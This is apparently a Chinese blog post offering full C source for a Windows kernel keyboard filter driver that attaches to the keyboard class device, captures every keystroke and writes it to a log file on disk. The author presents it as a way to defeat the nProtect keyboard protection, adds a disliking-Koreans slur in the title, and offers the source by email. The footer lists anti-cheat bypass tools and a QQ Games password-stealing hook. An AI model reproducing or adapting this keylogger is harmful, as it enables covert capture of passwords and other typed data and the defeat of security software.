`

看棒子不顺眼,破解NProtect,键盘驱动级截取键盘记录

 
阅读更多

NProtect,是用驱动加载进入ring0级别,每个进程注入一个钩子,

用键盘中断技术写的一个钩子,

本人就用驱动对付他,

废话少说,看代码,

//#include <ntddk.h>
#include "kbhook.h"
#include "ScanCode.h"
#include <windef.h>
int numPendingIrps=0;
//
//ICTOL 以及控制设备的相关变量
//
#define IOCTL_PASSPROCESSID /
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
UNICODE_STRING devNameUnicd;
UNICODE_STRING devLinkUnicd;
PDEVICE_OBJECT pDevice; //控制设备的设备对象
NTSTATUS DeviceIoControlDispatch(IN PDEVICE_OBJECT pDeviceObject,IN PIRP pIrp); //DeviceIoControl的处理函数

VOID OnUnload( IN PDRIVER_OBJECT theDriverObject )
{
KTIMER kTimer;
LARGE_INTEGER timeout;
PDEVICE_EXTENSION pKeyboradDeviceExtension;
pKeyboradDeviceExtension=(PDEVICE_EXTENSION) theDriverObject->DeviceObject->DeviceExtension;
IoDetachDevice(pKeyboradDeviceExtension->pKeyboardDevice);
timeout.QuadPart=1000000;//1s
KeInitializeTimer(&kTimer);
while(numPendingIrps > 0)
{
KeSetTimer(&kTimer,timeout,NULL);
KeWaitForSingleObject(&kTimer,Executive,KernelMode,FALSE,NULL);

}
pKeyboradDeviceExtension->bThreadTerminate=TRUE;
KeReleaseSemaphore(&pKeyboradDeviceExtension->semQueue,0,1,TRUE);//让独立的记录线程获得执行机会
KeWaitForSingleObject(pKeyboradDeviceExtension->pThreadObject,
Executive,KernelMode,FALSE,NULL); //结束独立的记录线程
ZwClose(pKeyboradDeviceExtension->hLogFile); //关闭文件句柄
IoDeleteDevice(theDriverObject->DeviceObject); //删除设备对象

IoDeleteSymbolicLink(&devLinkUnicd);
IoDeleteDevice(pDevice);
DbgPrint("My Driver Unloaded!");
return;
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,IN PUNICODE_STRING RegistryPath)
{

NTSTATUS status={0};
int i;
PDEVICE_EXTENSION pKeyboardDeviceExtension;

IO_STATUS_BLOCK file_status;
OBJECT_ATTRIBUTES obj_attrib;
CCHAR ntNameFile[100]="//DosDevices//c://kbhook.txt";
STRING ntNameString;
UNICODE_STRING uFileName;

for( i=0 ; i < IRP_MJ_MAXIMUM_FUNCTION;i++)

theDriverObject->MajorFunction[i] = DispatchPassDown;
theDriverObject->MajorFunction[IRP_MJ_READ]=DispatchRead;

HookKeyboard(theDriverObject);
//建立一个线程用来记录键盘动作
InitThreadKeyLogger(theDriverObject);

/////////////////////////////////////////////////////////////////////////////////////////////
////////初始化一个旋转锁来访问链表///////////////////////////////////////////////////////////////
pKeyboardDeviceExtension=(PDEVICE_EXTENSION)theDriverObject->DeviceObject->DeviceExtension;
InitializeListHead(&pKeyboardDeviceExtension->QueueListHead);

KeInitializeSpinLock(&pKeyboardDeviceExtension->lockQueue);
KeInitializeSemaphore(&pKeyboardDeviceExtension->semQueue,0,MAXLONG);
////////////创建一个纪录文件///////////////////////////////////////////////////////////////////////
RtlInitAnsiString(&ntNameString,ntNameFile);
RtlAnsiStringToUnicodeString(&uFileName,&ntNameString,TRUE);
InitializeObjectAttributes(&obj_attrib,&uFileName,
OBJ_CASE_INSENSITIVE,
NULL,NULL);

status=ZwCreateFile(&pKeyboardDeviceExtension->hLogFile,
GENERIC_WRITE,
&obj_attrib,
&file_status,
NULL,
FILE_ATTRIBUTE_NORMAL,
0,
FILE_OPEN_IF,
FILE_SYNCHRONOUS_IO_NONALERT,
NULL,
0);
RtlFreeUnicodeString(&uFileName);

theDriverObject->DriverUnload=OnUnload;

//NTSTATUS Status;
//PDEVICE_OBJECT pDevice;
RtlInitUnicodeString(&devNameUnicd,L"//Device//PANZER3");
RtlInitUnicodeString(&devLinkUnicd,L"//??//PANZER3");
status=IoCreateDevice(theDriverObject,0,&devNameUnicd,FILE_DEVICE_UNKNOWN,
0,FALSE,&pDevice);
if(!NT_SUCCESS(status))
{
DbgPrint(("Can not create device./n"));
return status;
}
status=IoCreateSymbolicLink(&devLinkUnicd,&devNameUnicd);
if(!NT_SUCCESS(status))
{
DbgPrint(("Can not create device.SymbolicLink/n"));
return status;
}
theDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]=
theDriverObject->MajorFunction[IRP_MJ_CREATE]=
theDriverObject->MajorFunction[IRP_MJ_CLOSE]= DeviceIoControlDispatch;
DbgPrint("Create Control Driver ! address=%p = %x", pDevice,pDevice);
return STATUS_SUCCESS;

}
NTSTATUS HookKeyboard(IN PDRIVER_OBJECT theDriverObject)
{ ///IRQL = passive level
//建立过滤驱动对象
PDEVICE_EXTENSION pKeyboardDeviceExtension;
PDEVICE_OBJECT pKeyboardDeviceObject;
CCHAR ntNameBuffer[50]="//Device//keyboardClass0";
STRING ntNameString;
UNICODE_STRING uKeyboardDevice;

NTSTATUS status=IoCreateDevice(theDriverObject,
sizeof(DEVICE_EXTENSION),
NULL,
FILE_DEVICE_KEYBOARD, //★注意这里
0,
TRUE,
&pKeyboardDeviceObject);
if(!NT_SUCCESS(status))
return status;
/////////// 设置新设备的标志与地层键盘设备标记相同
pKeyboardDeviceObject->Flags=pKeyboardDeviceObject->Flags|DO_BUFFERED_IO |DO_POWER_PAGABLE ;
pKeyboardDeviceObject->Flags=pKeyboardDeviceObject->Flags &~DO_DEVICE_INITIALIZING;
//在DriverEntry例程中创建的设备对象,并不需要必须清除DO_DEVICE_INITIALIZING标识,这是因为这个工作将会由I/O管理器自动完成。
//然而,如果创建了其它设备对象,则需要进行该清除工作。
//对DEVICE_EXTENSION结构清0

RtlZeroMemory(pKeyboardDeviceObject->DeviceExtension,sizeof(DEVICE_EXTENSION));

pKeyboardDeviceExtension=(PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension;
/////把keyboardClass0转换成一个UNICODE字符串//////////////////////////////////////////////////////////

RtlInitAnsiString(&ntNameString,ntNameBuffer);
RtlAnsiStringToUnicodeString(&uKeyboardDevice,&ntNameString,TRUE);
//准备工作完成后放置过滤钩子
IoAttachDevice(pKeyboardDeviceObject,&uKeyboardDevice,
&pKeyboardDeviceExtension->pKeyboardDevice);
RtlFreeUnicodeString(&uKeyboardDevice);

return STATUS_SUCCESS;
}

NTSTATUS InitThreadKeyLogger(IN PDRIVER_OBJECT theDriverObject)
{// IRQL = passive level
PDEVICE_EXTENSION pKeyboardDeviceExtension;
HANDLE hThread;
NTSTATUS status;
pKeyboardDeviceExtension=(PDEVICE_EXTENSION)theDriverObject->DeviceObject->DeviceExtension;
//////////////////////设置线程状态////////////////////////////////////
pKeyboardDeviceExtension->bThreadTerminate=FALSE;
////////////创建一个线程用来记录////////////////////////////////////////
status=PsCreateSystemThread(&hThread,
(ACCESS_MASK)0,
NULL,
(HANDLE)0,
NULL,
ThreadKeyLogger,
pKeyboardDeviceExtension);
if(!NT_SUCCESS(status))
return status;
///////////////////////////转换保存指向线程对象的指针////////////////////////
ObReferenceObjectByHandle(hThread,
THREAD_ALL_ACCESS,
NULL,
KernelMode,
(PVOID*)&pKeyboardDeviceExtension->pThreadObject,
NULL);
ZwClose(hThread);
return status;
}
NTSTATUS DispatchPassDown(IN PDEVICE_OBJECT theDeviceObject,IN PIRP pIrp)
{ // IRQL = passive level
IoSkipCurrentIrpStackLocation(pIrp);
return IoCallDriver(((PDEVICE_EXTENSION) theDeviceObject->DeviceExtension)->pKeyboardDevice ,pIrp);

}
NTSTATUS DispatchRead(IN PDEVICE_OBJECT theDeviceObject,IN PIRP pIrp)
{// IRQL = DISPATCH_LEVEL


IoCopyCurrentIrpStackLocationToNext(pIrp);

IoSetCompletionRoutine(pIrp,
OnReadCompletion,
theDeviceObject,
TRUE,
TRUE,
TRUE);


numPendingIrps++; //纪录挂起的irp数目

return IoCallDriver(((PDEVICE_EXTENSION)theDeviceObject->DeviceExtension)->pKeyboardDevice,pIrp);
}
NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT theDeviceObject,IN PIRP pIrp,IN PVOID Context)
{// IRQL = DISPATCH_LEVEL
PKEYBOARD_INPUT_DATA keys;
int numKeys;
int i;
KEY_DATA* kData;
PDEVICE_EXTENSION pKeyboardDeviceExtension;
pKeyboardDeviceExtension=(PDEVICE_EXTENSION)theDeviceObject->DeviceExtension;
if(pIrp->IoStatus.Status==STATUS_SUCCESS)
{

keys=(PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;
numKeys=pIrp->IoStatus.Information/sizeof(KEYBOARD_INPUT_DATA);
for( i=0;i<numKeys;i++)
{
if(keys[i].Flags==KEY_MAKE)
DbgPrint("%s/n","Key Down,IrpCallBack FUN");
kData=(KEY_DATA*)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA));
kData->KeyData=(char)keys[i].MakeCode;
kData->KeyFlags=(char)keys[i].Flags;
/////////创建一个链表将击键动作传递给worker线程/////////////////////////////////////
ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead,
&kData->ListEntry,
&pKeyboardDeviceExtension->lockQueue); //★注意同步
KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue,0,1,FALSE);

}

}
if(pIrp->PendingReturned)
IoMarkIrpPending(pIrp);
numPendingIrps--;
return pIrp->IoStatus.Status;
}
VOID ThreadKeyLogger(IN PVOID pContext)
{// IRQL = passive level
PDEVICE_OBJECT pKeyboardDeviceObject;
PDEVICE_EXTENSION pKeyboardDeviceExtension;
PLIST_ENTRY pListEntry;
KEY_DATA* kData;
char keys[3]={0};

pKeyboardDeviceExtension=(PDEVICE_EXTENSION)pContext;
pKeyboardDeviceObject=pKeyboardDeviceExtension->pKeyboardDevice;
//等待信号量,若信号量递增,则继续运行处理循环
while(TRUE)
{
KeWaitForSingleObject(
&pKeyboardDeviceExtension->semQueue,
Executive,
KernelMode,
FALSE,
NULL);
//在链表中安全删除了最高顶端//
pListEntry=ExInterlockedRemoveHeadList(&pKeyboardDeviceExtension->QueueListHead,
&pKeyboardDeviceExtension->lockQueue);
if(pKeyboardDeviceExtension->bThreadTerminate==TRUE)
{
PsTerminateSystemThread(STATUS_SUCCESS);
}
kData=CONTAINING_RECORD(pListEntry,KEY_DATA,ListEntry);

ConvertScanCodeToKeyCode(pKeyboardDeviceExtension,kData,keys);
ExFreePool(kData); //删除内存
if(keys!=0)
{
if(pKeyboardDeviceExtension->hLogFile!=NULL)
{
IO_STATUS_BLOCK io_status;
NTSTATUS status;
status=ZwWriteFile(
pKeyboardDeviceExtension->hLogFile,
NULL,
NULL,
NULL,
&io_status,
&keys,
strlen(keys),
NULL,
NULL);
if(status!=STATUS_SUCCESS)
DbgPrint("write code to file fail!");
}
}
}
return;
}
//////////ConvertScanCodeToKeyCode 函数用来转换接受的击键码

//
//控制设备的IOControl函数
//

NTSTATUS DeviceIoControlDispatch(IN PDEVICE_OBJECT pDeviceObject,IN PIRP pIrp)
{

PIO_STACK_LOCATION irpStack;
NTSTATUS Status;
PVOID InPutBuffer;
ULONG ioControlCode;
ULONG OutPutLen;
PEPROCESS Process;

ULONG IOPL = 1;
HANDLE hProc;
HANDLE *pBuff = NULL;
Status=STATUS_SUCCESS;
if(pDeviceObject != pDevice)
{
DbgPrint("keyboard filter!");
IoSkipCurrentIrpStackLocation(pIrp);
return IoCallDriver(((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)->pKeyboardDevice ,pIrp);
}
irpStack=IoGetCurrentIrpStackLocation(pIrp);
ioControlCode=irpStack->Parameters.DeviceIoControl.IoControlCode;
switch(irpStack->MajorFunction)
{
case IRP_MJ_CREATE:
DbgPrint("Call IRP_MJ_CREATE/n");
break;
case IRP_MJ_CLOSE:
DbgPrint("Call IRP_MJ_CLOSE/n");
break;
case IRP_MJ_DEVICE_CONTROL:
OutPutLen=irpStack->Parameters.DeviceIoControl.OutputBufferLength;
switch(ioControlCode)
{
case IOCTL_PASSPROCESSID:
{
/*_asm
{
mov dx, 0x64
mov al, 0xFE
out dx, al
}*/
DbgPrint("ioControlCode/n");

}
break;
default:
break;
}
break;
default:
DbgPrint("no match control/n");
break;
}
pIrp->IoStatus.Status = Status;
pIrp->IoStatus.Information = 0;
IoCompleteRequest (pIrp, IO_NO_INCREMENT);
return Status;
}


#include "ntddk.h"

#include "ntddkbd.h"
#include "kbhook.h"
#include "ScanCode.h"

#define INVALID 0X00 //scan code not supported by this driver
#define SPACE 0X01 //space bar
#define ENTER 0X02 //enter key
#define LSHIFT 0x03 //left shift key
#define RSHIFT 0x04 //right shift key
#define CTRL 0x05 //control key
#define ALT 0x06 //alt key

char KeyMap[84] = {
INVALID, //0
INVALID, //1
'1', //2
'2', //3
'3', //4
'4', //5
'5', //6
'6', //7
'7', //8
'8', //9
'9', //A
'0', //B
'-', //C
'=', //D
INVALID, //E
INVALID, //F
'q', //10
'w', //11
'e', //12
'r', //13
't', //14
'y', //15
'u', //16
'i', //17
'o', //18
'p', //19
'[', //1A
']', //1B
ENTER, //1C
CTRL, //1D
'a', //1E
's', //1F
'd', //20
'f', //21
'g', //22
'h', //23
'j', //24
'k', //25
'l', //26
';', //27
'/'', //28
'`', //29
LSHIFT,//2A
'//', //2B
'z', //2C
'x', //2D
'c', //2E
'v', //2F
'b', //30
'n', //31
'm' , //32
',', //33
'.', //34
'/', //35
RSHIFT, //36
INVALID, //37
ALT, //38
SPACE, //39
INVALID, //3A
INVALID, //3B
INVALID, //3C
INVALID, //3D
INVALID, //3E
INVALID, //3F
INVALID, //40
INVALID, //41
INVALID, //42
INVALID, //43
INVALID, //44
INVALID, //45
INVALID, //46
'7', //47
'8', //48
'9', //49
INVALID, //4A
'4', //4B
'5', //4C
'6', //4D
INVALID, //4E
'1', //4F
'2', //50
'3', //51
'0', //52
};

int flag; //CAP STATUS
char ExtendedKeyMap[84] = {
INVALID, //0
INVALID, //1
'!', //2
'@', //3
'#', //4
'$', //5
'%', //6
'^', //7
'&', //8
'*', //9
'(', //A
')', //B
'_', //C
'+', //D
INVALID, //E
INVALID, //F
'Q', //10
'W', //11
'E', //12
'R', //13
'T', //14
'Y', //15
'U', //16
'I', //17
'O', //18
'P', //19
'{', //1A
'}', //1B
ENTER, //1C
INVALID, //1D
'A', //1E
'S', //1F
'D', //20
'F', //21
'G', //22
'H', //23
'J', //24
'K', //25
'L', //26
':', //27
'"', //28
'~', //29
LSHIFT,//2A
'|', //2B
'Z', //2C
'X', //2D
'C', //2E
'V', //2F
'B', //30
'N', //31
'M' , //32
'<', //33
'>', //34
'?', //35
RSHIFT, //36
INVALID, //37
INVALID, //38
SPACE, //39
INVALID, //3A
INVALID, //3B
INVALID, //3C
INVALID, //3D
INVALID, //3E
INVALID, //3F
INVALID, //40
INVALID, //41
INVALID, //42
INVALID, //43
INVALID, //44
INVALID, //45
INVALID, //46
'7', //47
'8', //48
'9', //49
INVALID, //4A
'4', //4B
'5', //4C
'6', //4D
INVALID, //4E
'1', //4F
'2', //50
'3', //51
'0', //52
};


VOID ConvertScanCodeToKeyCode(PDEVICE_EXTENSION pDevExt, KEY_DATA* kData, char* keys)
{

char key = 0;
PIRP irp;
KEVENT event = {0};
KEYBOARD_INDICATOR_PARAMETERS indParams = {0};
IO_STATUS_BLOCK ioStatus = {0};
NTSTATUS status = {0};
key = KeyMap[kData->KeyData];



KeInitializeEvent(&event, NotificationEvent, FALSE);

irp = IoBuildDeviceIoControlRequest(IOCTL_KEYBOARD_QUERY_INDICATORS,pDevExt->pKeyboardDevice,
NULL,0,&indParams,sizeof(KEYBOARD_ATTRIBUTES),TRUE,&event,&ioStatus);
status = IoCallDriver(pDevExt->pKeyboardDevice, irp);

if (status == STATUS_PENDING)
{
(VOID) KeWaitForSingleObject(&event,Suspended,KernelMode,
FALSE,NULL);
}

status = irp->IoStatus.Status;

if(status == STATUS_SUCCESS)
{
indParams = *(PKEYBOARD_INDICATOR_PARAMETERS)irp->AssociatedIrp.SystemBuffer;
if(irp)
{
flag = (indParams.LedFlags & KEYBOARD_CAPS_LOCK_ON);
//DbgPrint("Caps Lock Indicator Status: %x./n",flag);
}
else
{
DbgPrint("Error allocating Irp");
flag = 0;
}
}//end if

switch(key)
{

case LSHIFT:
if(kData->KeyFlags == KEY_MAKE)
pDevExt->kState.kSHIFT = TRUE;
else
pDevExt->kState.kSHIFT = FALSE;
break;

case RSHIFT:
if(kData->KeyFlags == KEY_MAKE)
pDevExt->kState.kSHIFT = TRUE;
else
pDevExt->kState.kSHIFT = FALSE;
break;

case CTRL:
if(kData->KeyFlags == KEY_MAKE)
pDevExt->kState.kCTRL = TRUE;
else
pDevExt->kState.kCTRL = FALSE;
break;


case ALT:
if(kData->KeyFlags == KEY_MAKE)
pDevExt->kState.kALT = TRUE;
else
pDevExt->kState.kALT = FALSE;
break;


case SPACE:
if((pDevExt->kState.kALT != TRUE) && (kData->KeyFlags == KEY_BREAK))
keys[0] = 0x20;
break;

case ENTER:
if((pDevExt->kState.kALT != TRUE) && (kData->KeyFlags == KEY_BREAK))
{
keys[0] = 0x0D;
keys[1] = 0x0A;
}//end if
break;


default:
if((pDevExt->kState.kALT != TRUE) && (pDevExt->kState.kCTRL != TRUE) && (kData->KeyFlags == KEY_BREAK)) //don't convert if ALT or CTRL is pressed
{
if((key >= 0x21) && (key <= 0x7E)) //don't convert non alpha numeric keys
{
if(pDevExt->kState.kSHIFT == TRUE)
keys[0] = ExtendedKeyMap[kData->KeyData];
else
keys[0] = key;
DbgPrint("Caps %x.ScanCode: %s",flag,keys);
}//end if
}//end if
break;
}//end switch(keys)
}//end ConvertScanCodeToKeyCode

需要源码的请留下Email,,本人纯属技术爱好,用于非法的,后果自负。

分享到:
评论

相关推荐

    卸载nProtect GameGuard 服务

    卸载nProtect GameGuard 服务

    nProtect.e源碼

    nprotect的易語言源碼.可以編程np程序

    nProtect-GameGuard:nProtect GameGuard

    nProtect-GameGuard nProtect GameGuard 游戏不加载驱动程序的nProtect GameGuard dll的受礼代码。

    反驱动 工具

    反驱动 工具

    gameguard流氓驱动卸载器

    登陆器不能登录时,用此软件很方便解决问题。

    过NP的网页类文本说明

    教你如何过nProtect Game Guard

    Leaf.Net-master_GameGuard_Windows编程_MasteroftheGame_ahnlab_

    [NP_Source] game system NProtect GameGuard 997 version of the driving source by the degeneration of genius brother reverse. Research NP brothers not to be missed.[GameGuard] GameGuard Software ...

    od剥离进程补丁

    od剥离进程补丁

    在内核驱动中检测隐藏进程

    运 行效 率 自然不 会 很高 人 正 不怕 影子 歪 .所 以说没 有必要去 隐藏 自己。当然也有 一 些例 外的网游 .为 了保护 自己从 而隐藏进程 . 常见的有韩国nProtect公司的跑跑卡丁车 .就存 在隐藏进程GameMon....

    NP学习笔记2 BYPASS NP

    3. 在你的WEB服务器的根目录里建立目录:\maplestory\nProtect\GameGuard\RealServer\在目录中放入已经被你修改的不在防外挂的nProtect。 4. 修改hosts文件: 127.0.0.1 nprotect1.mxd.sdo.com 127.0.0.1 nprotect2...

    hook_QQ游戏_密码

    采用hook技术获取QQ游戏的密码,...这是是因为QQ聊天登录时,QQ程序做了特殊处理(Nprotect键盘加密技术),使用HOOK也是读取不到密码的。但QQ游戏登录时却没有这样的保护。demo仅供学习使用,请不要用于不正当的地方。

    GoodDbg 调试工具

    2、可以过所有驱动保护,比如HackShield、nProtect、TenProtect等等,再也不用为过保护发愁; 3、GoodDbg支持所所有的OD插件,使用方式和OD相同,让您快速上手; 4、GoodDbg提供无限个硬件断点,无视一切内存校验; ...

    Bypass

    Bypass

    np学习经验(我加的群的东西)

    所谓三层结构即指: 数据层:指存放数据库的数据层; 中间层:指管理中间件的,并负责处理客户端权限的服务层。 用户层:指客户端使用层,通过与中间层进行交换所需数据及权限认定的最底层。...

    OD过游戏保护

    OD过游戏保护相关的理论知识 保护有nProtect GameGuard(NP), hackshield(HS

    过NP保护的CE工具

    过NP保护的CE工具,他可以过目前市面上的有保护的的CE

    NP学习笔记 BYPASS NP

    nProtect是设计用于保护个人电脑终端不被病毒和黑客程序感染的新概念的基于网络的反黑客和反病毒的工具。他帮助确保所有输入个人电脑终端的信息在网络上不落入黑客手中。 在最终用户在执行电子贸易时,可以通过将...

    722 个 OdbgScript 脚本

    nProtect GameGuard NsPack NTkrnl Packer Obsidium Orien OTHER SCRIPTS Packman PC PeSHRINKER PC-Guard PE Diminisher PE Lock NT PEBundle PeCompact PEncrypt PePack PeShield PeSpin Pestil Pet i t e PeX ...

    电脑助手v3.2

    ※软件未加壳且完全免费,软件受版权保护-请勿尝试破解本软件!※ ※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※ 查毒连接:http://r.virscan.org/report/9f6af08725be922264c3873f7e8f6753.html ...

Global site tag (gtag.js) - Google Analytics